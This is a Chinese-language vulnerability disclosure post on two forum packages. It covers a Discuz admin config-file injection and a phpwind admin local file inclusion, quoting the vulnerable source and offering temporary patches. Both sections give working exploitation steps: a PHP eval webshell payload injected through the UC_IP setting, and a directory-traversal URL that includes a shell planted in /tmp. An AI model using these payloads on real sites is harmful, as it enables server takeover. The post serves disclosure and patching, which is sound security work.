很多人有了,流传出来了,然后发出来。现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。
一、discuz后台settings.inc.php中写shell漏洞:
漏洞详情:
if($operation == ''uc'' && is_writeable(''./config.inc.php'') && $isfounder) {
$ucdbpassnew = $settingsnew[''uc''][''dbpass''] == ''********'' ? UC_DBPW : $settingsnew[''uc''][''dbpass''];
if($settingsnew[''uc''][''connect'']) {
$uc_dblink = @mysql_connect($settingsnew[''uc''][''dbhost''], $settingsnew[''uc''][''dbuser''], $ucdbpassnew, 1);
if(!$uc_dblink) {
cpmsg(''uc_database_connect_error'', '''', ''error'');
} else {
mysql_close($uc_dblink);
}
}
$fp = fopen(''./config.inc.php'', ''r'');
$configfile = fread($fp, filesize(''./config.inc.php''));
$configfile = trim($configfile);
$configfile = substr($configfile, -2) == ''?>'' ? substr($configfile, 0, -2) : $configfile;
fclose($fp);
$connect = '''';
if($settingsnew[''uc''][''connect'']) {
require ''./config.inc.php'';
$connect = ''mysql'';
$samelink = ($dbhost == $settingsnew[''uc''][''dbhost''] && $dbuser == $settingsnew[''uc''][''dbuser''] && $dbpw == $ucdbpassnew);
$samecharset = !($dbcharset == ''gbk'' && UC_DBCHARSET == ''latin1'' || $dbcharset == ''latin1'' && UC_DBCHARSET == ''gbk'');
$configfile = insertconfig($configfile, "/define\(''UC_DBHOST'',\s*''.*?''\);/i", "define(''UC_DBHOST'', ''".$settingsnew[''uc''][''dbhost'']."'');");//正则表示从''到'')中的被替换,而'')可以被任意提交,from oldjun.com
$configfile = insertconfig($configfile, "/define\(''UC_DBUSER'',\s*''.*?''\);/i", "define(''UC_DBUSER'', ''".$settingsnew[''uc''][''dbuser'']."'');");
$configfile = insertconfig($configfile, "/define\(''UC_DBPW'',\s*''.*?''\);/i", "define(''UC_DBPW'', ''".$ucdbpassnew."'');");
$configfile = insertconfig($configfile, "/define\(''UC_DBNAME'',\s*''.*?''\);/i", "define(''UC_DBNAME'', ''".$settingsnew[''uc''][''dbname'']."'');");
$configfile = insertconfig($configfile, "/define\(''UC_DBTABLEPRE'',\s*''.*?''\);/i", "define(''UC_DBTABLEPRE'', ''`".$settingsnew[''uc''][''dbname''].''`.''.$settingsnew[''uc''][''dbtablepre'']."'');");
//$configfile = insertconfig($configfile, "/define\(''UC_LINK'',\s*''?.*?''?\);/i", "define(''UC_LINK'', ".($samelink && $samecharset ? ''TRUE'' : ''FALSE'').");");
}
$configfile = insertconfig($configfile, "/define\(''UC_CONNECT'',\s*''.*?''\);/i", "define(''UC_CONNECT'', ''$connect'');");
$configfile = insertconfig($configfile, "/define\(''UC_KEY'',\s*''.*?''\);/i", "define(''UC_KEY'', ''".$settingsnew[''uc''][''key'']."'');");
$configfile = insertconfig($configfile, "/define\(''UC_API'',\s*''.*?''\);/i", "define(''UC_API'', ''".$settingsnew[''uc''][''api'']."'');");
$configfile = insertconfig($configfile, "/define\(''UC_IP'',\s*''.*?''\);/i", "define(''UC_IP'', ''".$settingsnew[''uc''][''ip'']."'');");
$configfile = insertconfig($configfile, "/define\(''UC_APPID'',\s*''?.*?''?\);/i", "define(''UC_APPID'', ''".$settingsnew[''uc''][''appid'']."'');");
$fp = fopen(''./config.inc.php'', ''w'');
if(!($fp = @fopen(''./config.inc.php'', ''w''))) {
cpmsg(''uc_config_write_error'', '''', ''error'');
}
@fwrite($fp, trim($configfile));
@fclose($fp);
}
settings.inc.php对提交的数据缺乏有效过滤,导致可以写入'')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。
function insertconfig($s, $find, $replace) {
if(preg_match($find, $s)) {
$s = preg_replace($find, $replace, $s);//正则匹配替换数据
} else {
$s .= "\r\n".$replace;
}
return $s;
}
漏洞测试:
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx'');eval($_POST[cmd])?>提交;
步骤二:UC_IP随便输入aaa,正则匹配只匹配到了''),于是自动把分号前的闭合了。
临时补丁:
在if($operation == ''uc'' && is_writeable(''./config.inc.php'') && $isfounder) {下添加:
foreach($settingsnew[''uc''] as $key => $value){
$settingsnew[''uc''][$key]=str_replace('')'','''',$value);
}
二、phpwind后台本地包含漏洞:
漏洞详情:
文件:hack\rate\admin.php
源码:
<?php
!function_exists(''readover'') && exit(''Forbidden'');
define ( "H_R", R_P . "hack/rate/" );
define ( "L_R", R_P . "lib/" );
InitGP ( array (''ajax'' ) );
$action = strtolower ( ($job) ? $job : "admin" );
$filepath = H_R . "action/" . $action . "Action.php";
(! file_exists ( $filepath )) && exit ();
if ($job != "ajax") {
require H_R . ''/template/layout.php'';
} else {
require_once $filepath;
}
?>
再看看hack\rate\template\layout.php:
<?php
!function_exists(''readover'') && exit(''Forbidden'');
include_once PrintEot ( ''left'' );
print <<<EOT
-->
EOT;
require_once $filepath;
include_once PrintEot ( ''adminbottom'' );
?>
$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:
漏洞测试:
先在tmp下上传一个shell,名为Action.php
然后访问:http://127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/
临时补丁:
$filepath = H_R . "action/" . $action . "Action.php";
替换为:
$filepath = Pcv(H_R . "action/" . $action . "Action.php");
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